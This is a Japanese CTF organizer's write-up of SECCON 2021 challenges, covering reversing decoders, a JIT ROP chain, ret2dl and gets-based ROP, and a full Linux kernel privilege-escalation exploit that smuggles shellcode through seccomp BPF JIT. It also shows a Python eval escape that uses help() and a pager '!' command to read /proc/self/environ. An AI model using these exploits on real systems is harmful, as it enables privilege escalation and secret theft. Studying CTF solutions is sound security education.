SECCON 2021 Onlineの運営に今年も参加しました。 何問か作りました。 年々日本語が苦手になっています。 話す機会が少ない。 助けて。
- はじめに
- [Reversing 130pts] corrupted flag
- [Reversing 267pts] <flag>
- [Reversing 210pts] pyast64++.rev
- [Pwnable 233pts] pyast64++.pwn
- [Pwnable 112pts] kasu bof
- [Pwnable 248pts] gosu bof
- [Pwnable 365pts] kone_gadget
- [Misc 227pts] hitchhike
- 本題
IDAなどで読むと、4ビットを7ビットに拡張する処理をフラグに対して行っていることが分かります。 ハフマン符号なのですが、それはどうでも良くて、とにかく誤り訂正が可能なビットをXORで作って3ビット拡張しています。 エンコード時にフラグのビットはランダムに破壊されますが、各7ビットのうち1ビットが破壊されるかされないかの2択なので、十分誤り訂正可能です。
各7ビットごとにパリティ検査して、誤りがある場合は訂正すれば良いです。
with open("flag.txt.enc", "rb") as f: enc = f.read() def bits(b): i = 0 while len(b) * 8: yield (b[i//8] >> (i%8)) & 1 i += 1 bs = bits(enc) try: output = [] while True: bits = [] for i in range(7): bits.append(next(bs)) c1 = bits[6] ^ bits[4] ^ bits[2] ^ bits[0] c2 = bits[5] ^ bits[4] ^ bits[1] ^ bits[0] c3 = bits[3] ^ bits[2] ^ bits[1] ^ bits[0] c = (c3 << 2) | (c2 << 1) | c1 if c: bits[7-c] ^= 1 output += [bits[0], bits[1], bits[2], bits[4]] except: pass flag= b'' for i in range(len(output) // 8): c = 0 for j in range(8): c |= output[i*8+j] << j flag += bytes([c]) print(flag)
HTMLに次のような怪しいタグがあります。
<flag placeholder="SECCON{***** FLAG HERE *****}" key="NekoPunch" onerror="alert('Wrong flag!');" onsuccess="alert('Correct flag!');"> 6dbf84f73cf6a112268b09525ea550a665e21cb2e3e13af7e3ea0ecb52f5b9cda5b6522b1e978734553f1d7956d4af94bfc3f4d68c8fba9eeecf4035550b9106f70d57d1a6cdaf3211eaaa78d71a9038b71be621241e8b608a43b107f8860f543ab0189aa063800de4bae7d0b11045b8 </flag>
JavaScriptでこのタグが動的に展開され、inputとbuttonが生成されますが、JavaScript自体はminifyされていて読みづらいです。 ブラウザのインスペクタでbuttonのイベントを見ると、次のようにWebAssemblyの関数を呼んでいることが分かります。
event => { let input = event.target.previousSibling, enc = input.attributes.enc.nodeValue.trim(), key = input.attributes.key.nodeValue; Module.check(input.value, key, enc) ? eval(input.attributes.onerror.nodeValue) : eval(input.attributes.onsuccess.nodeValue) }
check
が0を返せば良さそうです。
WebAssemblyをどう解析するかは人によると思いますは、私はELFに変換してIDAで読みます。 実際今回のwasmもIDA freeでデコンパイルすると、だいたい↓のように読みやすいコードになります。*1
コードを読むと、特に困ることなく逆演算が可能なブロック暗号っぽい何か*2であることが分かるので、あとはデコーダを書くだけです。
enc = bytes.fromhex('6dbf84f73cf6a112268b09525ea550a665e21cb2e3e13af7e3ea0ecb52f5b9cda5b6522b1e978734553f1d7956d4af94bfc3f4d68c8fba9eeecf4035550b9106f70d57d1a6cdaf3211eaaa78d71a9038b71be621241e8b608a43b107f8860f543ab0189aa063800de4bae7d0b11045b8') def ROTL(a, b): return ((a<<b) | (a>>(8-b))) & 0xff def QRrev(s, a, b, c, d): s[a] ^= ROTL((s[d] + s[c]) & 0xff, 4) s[d] ^= ROTL((s[c] + s[b]) & 0xff, 3) s[c] ^= ROTL((s[b] + s[a]) & 0xff, 2) s[b] ^= ROTL((s[a] + s[d]) & 0xff, 1) state = [ ord('N'), ord('e'), ord('k'), ord('o'), ord('P'), ord('u'), ord('n'), ord('c'), 0, 0, 0, 0, 0, 0, 0, 0, ] flag = "" for j in range(0, len(enc), 16): state = list(enc[j:j+16]) for rnd in range(128): QRrev(state, 15, 12, 13, 14) QRrev(state, 10, 11, 8, 9) QRrev(state, 5, 6, 7, 4) QRrev(state, 0, 1, 2, 3) QRrev(state, 15, 3, 7, 11) QRrev(state, 10, 14, 2, 6) QRrev(state, 5, 9, 13, 1) QRrev(state, 0, 4, 8, 12) flag += ''.join(map(chr, state[8:])) print(flag)
Pythonに対するおもちゃのJIT*3であるpyast64を改造して作られたELFのReversingです。 pyast64自体は実用を目指していないので大量のバグがあります。特に配列の実装はかなり適当で、0CTF/TCTF Finals 2021でもpwnで出題されました。 今回pyast64++.revとpwnを作るにあたり、なるべく自明な脆弱性を潰しましたが、JITの構造上直しにくいバグもあり大変でした。*4
さて、revの問題では、とあるPythonコードをこのJITでコンパイルした結果(のELF)が渡されます。 フラグチェッカーになっているので、これが受理してくれるようなフラグを見つけるのがゴールです。
pyast64.py
を読むと分かるように、このJITはpush, popを用いて値の受け渡しをします。
元のコードではこれを最適化する機能があるのですが、バグがあるというコメントとともに最適化機能は削除されています。*5
最適化がないため、JITにより生成されたコードはpush,pop地獄となっており、非常に読みにくいアセンブリをしています。
ここで登場するのがIDAなどのデコンパイラです。 デコンパイラはこの手のスタックマシンのような機械語のデコンパイルを非常に得意としているため、この手のコードは綺麗になるはずです。 例えば
push rdx push [rbp+ponta] push 8 pop rdx pop rax imul rdx
というブロックはIDA Freeのデコンパイラで
v67 = j + 8 * v1;
のように読みやすい形になります。
しかしすべてが読みやすくなる訳ではありません。例えばJITのvisit_Subscript
を見てみましょう。
def visit_Subscript(self, node): self.visit(node.slice) self.asm.instr('popq', '%rax') local_offset = self.local_offset(node.value.id) self.asm.instr('movq', '{}(%rbp)'.format(local_offset), '%rdx') self.asm.instr('mov', '4(%rdx)', '%edi') self.asm.instr('mov', '%fs:0x2c', '%esi') self.asm.instr('cmp', '%edi', '%esi') self.asm.instr('jnz', 'trap') self.asm.instr('mov', '(%rdx)', '%ecx') self.asm.instr('cmpq', '%rax', '%rcx') self.asm.instr('jbe', 'trap') self.asm.instr('pushq', '8(%rdx,%rax,8)')
配列の参照では特殊な操作をしています。 まずコメントにも書かれているように、配列の構造は先頭4バイトが長さ、次の4バイトが型情報となっており、そこから8バイトずつ要素が続きます。 上の機械語では、配列以外の型に対するスライスや範囲外参照が発生した際にtrapを発生するようになっています。 そのため、デコンパイル結果には次のようにtrapにジャンプするコードが大量に存在し、読みにくくなっています。
if ( __readfsdword(0x2Cu) != savedregs_4 ) goto trap; retaddr = 70LL; if ( __readfsdword(0x2Cu) != savedregs_4 ) goto trap;
trapへの分岐を削除するパッチを当てると、次のようにcheck
関数は1画面に収まるほど小さくなりました。
これを読むと何か可逆な処理をしていることが分かります。 逆処理を書いて終わりです。
cipher = [75, 203, 190, 126, 184, 169, 27, 74, 35, 83, 113, 65, 207, 193, 27, 137, 37, 98, 0, 68, 219, 113, 21, 180, 223, 135, 5, 129, 189, 200, 245, 100, 117, 62, 192, 101, 239, 92, 182, 136, 159, 235, 166, 90, 74, 133, 83, 78, 6, 225, 101, 103, 82, 78, 144, 205, 130, 238, 175, 245, 172, 62, 157, 176] key = b"SECCON2021" Sbox = [0xff - i for i in range(0x100)] j = 0 for i in range(0x100): j = (j + Sbox[i] + key[i % 10]) % 0x100 Sbox[i], Sbox[j] = Sbox[j], Sbox[i] def FYinv(bits): for i in range(63, -1, -1): j = (i**3 % 67) % 64 bits[i], bits[j] = bits[j], bits[i] def Pinv(data, length): for i in range(length // 8): bits = [] for j in range(8): bits += [(data[i*8+j] >> k) & 1 for k in range(8)] FYinv(bits) for j in range(8): c = 0 for k in range(8): c |= bits[j*8+k] << k data[i*8+j] = c def Sinv(Sbox, data, length): for i in range(length): data[i] = Sbox.index(data[i]) for rnd in range(10): for i in range(0x40): cipher[i] ^= key[9 - rnd] Pinv(cipher, 0x40) Sinv(Sbox, cipher, 0x40) print(cipher) print(''.join(map(chr, cipher)))
Sboxの生成はRC4、暗号化部分は適当に作ったSPN構造です。
さきほどrevで扱ったpyast64++ですが、今度はpwnパートになります。 pyast64++.revのバイナリを生成したpyast64は(機能は非常に限られますが)任意のPythonコードを受け取り、機械語を生成します。
この問題は全会一致で簡単なのですが、やはり非x64 ELFが降ってくると挑戦しないチームが多いようで、思ったほどsolve数は出ませんでした。 JIT pwnの入門としてかなり親切に設計したので、JITをpwnしてみたい方は是非解いてみてください。
JITなので脆弱性はいくつかあるかもしれませんが、想定して入れたものは配列のスコープに関する脆弱性です。 このJITの配列は範囲外参照などやりたい放題でかなり脆弱ですが、コメントにも書かれているように次のような実装で脆弱性が修正されています。
The original design of
array
was vulnerable to out-of-bounds access and type confusion. The fixed version of the array has its length to prevent out-of-bounds access.i.e. x=array(1)
0 4 8 16 +--------+--------+--------+ | length | type | x[0] | +--------+--------+--------+
The
type
field is used to check if the variable is actually an array. This value is not guessable.
配列の先頭にサイズ情報と型情報を入れています。 サイズ情報は次のように範囲外読み書きを防ぐために使われます。
self.asm.instr('mov', '(%rdx)', '%ecx') self.asm.instr('cmpq', '%rax', '%rcx') self.asm.instr('jbe', 'trap')
もとのJITは非配列に対するスライスが可能で、変数の値をポインタとして読めるカスみたいなバグがあったので、型情報を使って直しています。
self.asm.instr('mov', '4(%rdx)', '%edi') self.asm.instr('mov', '%fs:0x2c', '%esi') self.asm.instr('cmp', '%edi', '%esi') self.asm.instr('jnz', 'trap')
型情報はcanaryとかで使われるランダムな値なので特定できません。
脆弱性ですが、return
の実装が元のJITの使い回しであることが問題です。
def visit_Return(self, node): if node.value: self.visit(node.value) if self.func == 'main': self.compile_exit(None if node.value else 0) else: if node.value: self.asm.instr('popq', '%rax') self.compile_return(self.num_extra_locals)
この時returnに渡る変数の型がチェックされていません。 したがって、ローカルに確保された配列を返すとポインタがそのまま返ります。 型情報は破壊されてないままなので、この配列は死んだスコープにあるままなのに有効と判断されます。
さらにこの配列ポインタは別の関数に引数経由で渡せます。 そのため、呼び出し先のスコープと死んだ配列の位置が重なる可能性があります。 呼び出し先でも(型情報を破壊しなければ)死んだ配列は有効なので、リターンアドレスなどが書き換え放題です。
最後にROPの方法ですが、今回のようにJITのpwnの場合Bring Your Own Gadgetを使うのが楽だと思います。 JITコードは攻撃者が書いたコードをコンパイルしたものなので、ある程度自由にROP gadgetを入れられます。 次のようにシェルを起動するchainも簡単に書けますね。
def get_overlap(): return array(0x100) def f1(evil): x = array(0xe0) f2(evil) def gadgets(): 0x00c3d231 0x00c3f631 0x00c35f50 0x00c3c031 0x00c33bb0 0x00c3050f 0x00c35a5a def f2(evil): proc_base = evil[0x1b] - 0x11d5 evil[0x1b] = proc_base + 0x1212 evil[0x1e] = proc_base + 0x11fa evil[0x1f] = proc_base + 0x11ee evil[0x20] = proc_base + 0x11f4 evil[0x21] = proc_base + 0x1200 evil[0x22] = proc_base + 0x1206 evil[0x23] = proc_base + 0x120c binsh = array(1) binsh[0] = 0x0068732f * 0x10000 * 0x10000 + 0x6e69622f return binsh + 8 def main(): evil = get_overlap() f1(evil)
ソースコードはこれだけです。
#include <stdio.h> int main(void) { char buf[0x80]; gets(buf); return 0; }
32-bitでPIEやRELROは無効です。
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
この問題ではlibcのバージョンが不明なので、問題文にも書かれているようにret2dlを使うのが楽だと思います。 他に解説することはありません。
ソースコードはkasu bofとまったく同じです。 しかし、64-bitでRELROが有効になりました。また、libcは配布されています。
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
64-bitになるとret2dlが困難になります。
というのもlink_map
構造体の一部を書き換える必要が出てくるからです。
そのためlink_map
構造体のアドレスをリークする必要があるのですが、当然print系関数はありません。
このような場合link_map
構造体のアドレスの加算し、適当なgadgetやgetsで書き換えるという手法があります。
しかし、今回のバイナリはFull RELROなのでlink_map
へのポインタが書き込み可能領域に存在しません。*6
この問題の主旨はシステムコール実行後にrcxレジスタにリターンアドレスが入ることです。 gccでコンパイルされたバイナリの場合、ほぼ確実に次のgadgetが存在します。
0x004011b0: add dword [rax+0x39], ecx ; fsave [rbp-0x16] ; add rsp, 0x08 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found)
raxとrbpを調整すれば、このgadgetはクラッシュせずに「ecxレジスタの値を任意アドレスに書き込む」ことが可能です。
したがって、gets
呼び出し後にこれを使うことでlibcの下位32-bitがメモリに保存されます。
さらに次の確定gadgetを使えば任意の値をメモリ上に加算できます。
0x0040111c: add dword [rbp-0x3D], ebx ; nop ; ret ; (1 found)
libcベースアドレスの上位16-bitのエントロピーは1バイトあるかないか程度なので、このgadgetを組み合わせれば多少の試行回数でsystem
関数などのアドレスをメモリ上に作り出せます。
という愉快な問題だったのですが、作問チェックの過程でread
をgets
にしたため無事非想定解が出て死亡しました。
この問題で、BOFは32-bit, 64-bitともにFull RELROでlibcのアドレスがメモリ上に存在しなくてもシェルが取れるということが証明されたので、ROPの可能性は全証明されたと思います。
1337番に次のシステムコールが追加されているx64のLinuxカーネル問です。
SYSCALL_DEFINE1(seccon, unsigned long, rip) { asm volatile("xor %%edx, %%edx;" "xor %%ebx, %%ebx;" "xor %%ecx, %%ecx;" "xor %%edi, %%edi;" "xor %%esi, %%esi;" "xor %%r8d, %%r8d;" "xor %%r9d, %%r9d;" "xor %%r10d, %%r10d;" "xor %%r11d, %%r11d;" "xor %%r12d, %%r12d;" "xor %%r13d, %%r13d;" "xor %%r14d, %%r14d;" "xor %%r15d, %%r15d;" "xor %%ebp, %%ebp;" "xor %%esp, %%esp;" "jmp %0;" "ud2;" : : "rax"(rip)); return 0; }
任意のアドレスにジャンプできるがレジスタはrax以外0になるというシステムコールです。 この問題の意図は、RIPが取れることと権限昇格可能なことは同値なのかという問いです。 セキュリティ機構はKASLRが無効ですが、SMAP,SMEP,KPTIは有効です。
今回はスタックポインタも破壊されているので当然one gadgetみたいなものはないです。 となるとシェルコードを実行する必要があるのですが、最新版のLinuxカーネルにシェルコードを注入できるのでしょうか。
最近のLinuxはBPFのフィルタをJITでネイティブな機械語に変換して実行しています。 となるとbring your own gadgetができることは明らかです。 明らかなはずなのですが、これを思いついたチームは1チームしかいなかったようです。
シェルコードが実行できるといっても、権限昇格してからユーザー空間に戻ってくる必要があります。 私の解法はseccompでJITを呼び出して以下のシェルコードをコンパイルする方法です。
- SMAP/SMEPを無効化
- ユーザーランドのPOPULATEされたマップにrspを設定
- ROPで
commit_creds(prepare_kernel_cred(NULL));
を呼び出して権限昇格 - KPTIをくぐり抜けてユーザー空間に戻る
文字で書くと簡単ですが、KPTIとかの回避を考えるのは割と難しかったです。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <errno.h> #include <linux/seccomp.h> #include <sys/prctl.h> #include <sys/mman.h> #define SYS_SECCON 1337 typedef unsigned long u64; u64 user_cs, user_ss, user_rsp, user_rflags; u64 addr_commit_creds = 0xffffffff81073ad0; u64 addr_prepare_kernel_cred = 0xffffffff81073c60; u64 addr_trampoline = 0xffffffff81800e26; static void win() { char *argv[] = { "/bin/sh", NULL }; char *envp[] = { NULL }; puts("[+] win!"); execve("/bin/sh", argv, envp); } static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) : : "memory"); } void fatal(const char *msg) { perror(msg); exit(1); } void sys_seccon(u64 addr) { syscall(SYS_SECCON, addr); } static void install_seccomp(unsigned char *filter, unsigned short length) { struct prog { unsigned short len; unsigned char *filter; } rule = { .len = length >> 3, .filter = filter }; if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) fatal("prctl(PR_SET_NO_NEW_PRIVS)"); if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) fatal("prctl(PR_SET_SECCOMP)"); } int main() { save_state(); int N = 0x312; unsigned short filter_length = N*8 + 8; u64 *filter = (u64*)malloc(filter_length); char *stack = (char*)mmap((void*)0xfff000, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_POPULATE|MAP_FIXED, -1, 0); if (stack != (char*)0xfff000) fatal("mmap"); u64 *rsp = (u64*)&stack[0x1000]; *rsp++ = addr_prepare_kernel_cred; *rsp++ = addr_commit_creds; *rsp++ = addr_trampoline; *rsp++ = 0xcafebabe; *rsp++ = 0xdeadbeef; *rsp++ = (u64)&win; *rsp++ = user_cs; *rsp++ = user_rflags; *rsp++ = user_rsp; *rsp++ = user_ss; for (int i = 0; i < N; i++) { filter[i] = (u64)(0x01eb9090) << 32; } u64 *chain = &filter[N - 20]; *chain++ = (u64)(0x04E7200F) << 32; *chain++ = (u64)(0x01ebD231) << 32; *chain++ = (u64)(0x01ebC2FF) << 32; *chain++ = (u64)(0x01ebE2D1) << 32; *chain++ = (u64)(0x01ebC2FF) << 32; *chain++ = (u64)(0x0414E2C1) << 32; *chain++ = (u64)(0x01ebD2F7) << 32; *chain++ = (u64)(0x04D72148) << 32; *chain++ = (u64)(0x04E7220F) << 32; *chain++ = (u64)(0x01ebE431) << 32; *chain++ = (u64)(0x01ebC4FF) << 32; *chain++ = (u64)(0x0418E4C1) << 32; *chain++ = (u64)(0x01ebFF31) << 32; *chain++ = (u64)(0x01eb9058) << 32; *chain++ = (u64)(0x01ebD0FF) << 32; *chain++ = (u64)(0x04C78948) << 32; *chain++ = (u64)(0x01eb9058) << 32; *chain++ = (u64)(0x01ebD0FF) << 32; *chain++ = (u64)(0xccE0FF58) << 32; filter[N] = 0x7fff000000000006; install_seccomp((unsigned char*)filter, filter_length); puts("[+] bring your own shellcode: go brrrrr"); sys_seccon(0xffffffffc0000f00); return 0; }
しかしこの問題には非想定解がありました。 Linuxカーネルはクラッシュ時にRIP周辺のメモリをダンプするお節介機能があるのですが*7、ramfsを使ったのでメモリ上にフラグがあり、そこへジャンプしてクラッシュさせることでフラグがダンプされるという方法がありました。 これはこの問題だけでなく、これまでCTFで出題されてきた数多くのカーネル問で使える激ヤバ非想定解です。 なんかCTF史が変わる瞬間を目にしてしまった気がしました(は?)
悲しみの非想定解:
jmp flag
それはそれとして、終了後にKASLRも回避してしまう方法を発見したチームもいて愉快でした。もうLinuxはだめだぁ。
moraさんの作ったSECCON Treeの作問チェック中にいろいろとPythonの謎機能を発見したのですが、そのうち1つを問題にしました。*8 問題のスクリプトはこれだけです。
import os def f(x): print(f'value 1: {repr(x)}') v = input('value 2: ') if len(v) > 8: return return eval(f'{x} * {v}', {}, {}) if __name__ == '__main__': print("+---------------------------------------------------+") print("| The Answer to the Ultimate Question of Life, |") print("| the Universe, and Everything is 42 |") print("+---------------------------------------------------+") for x in [6, 6.6, '666', [6666], {b'6':6666}]: if f(x) != 42: print("Something is fundamentally wrong with your universe.") exit(1) else: print("Correct!") print("Congrats! Here is your flag:") print(os.getenv("FLAG", "FAKECON{try it on remote}"))
5つの固定値に対して掛け算をして、その結果がすべて42になればフラグが貰えます。
最初の方は次のように解けます。((0 or 42
はkusanoさんが発見してくれました。))
- 6 *
7
- 6.6 *
42/6.6
- '666' *
0 or 42
- [6666] *
0 or 42
しかし、最後のdictに対する乗算はそもそも定義されていないため、42を作れません。 ということで、この問題は普通に解くことはできません。たぶん。
evalを使っているのでそこが怪しいですね。 8文字以下でできることには何があるでしょうか。 Pythonのbuiltin関数を見てみると、8文字以内で呼び出せる関数はたくさんあります。 引数があっては文字数が足りないので、引数を必要としない関数のみを列挙します。
help()
input()
print()
set()
tuple()
vars()
ここでhelp
という組み込み関数に注目します。これは通常、引数の関数などのドキュメントを表示するために使われます。
Invoke the built-in help system. (This function is intended for interactive use.) If no argument is given, the interactive help system starts on the interpreter console.
説明によると、引数を渡さずに呼び出すと対話式のヘルプシステムが起動するそうです。実際に試すと次のようになります。
例えばprint
関数のhelpを表示してみます。
CTFerならピンとくると思いますが、なんとPAGERとしてlessが起動しました。 lessやmoreといったPAGERはエクスクラメーションマークから始まる入力をコマンドと解釈して実行してくれます。
したがって、次のようにコマンドを送ると、42を作ることなくフラグを直接取ってくることができます。
from ptrlib import * import os HOST = os.getenv('SECCON_HOST', "localhost") PORT = os.getenv('SECCON_PORT', "10042") sock = Socket(HOST, int(PORT)) sock.sendlineafter("value 2: ", "help()") sock.sendlineafter("help> ", "+") sock.sendlineafter("--More--", "!/bin/cat /proc/self/environ") print(sock.recvregex("SECCON\{.+\}")) sock.close()
やはりCTF運営の醍醐味はボードゲーム。 今回はニムトとUNOっぽいやつ(いっつも名前忘れる)をやり、ニムトはボコボコにされた記憶があります。
あとお絵描きゲームをめっちゃしました。唯一私が腕を発揮できるゲームです。
また遊びたいと思いました。(小並)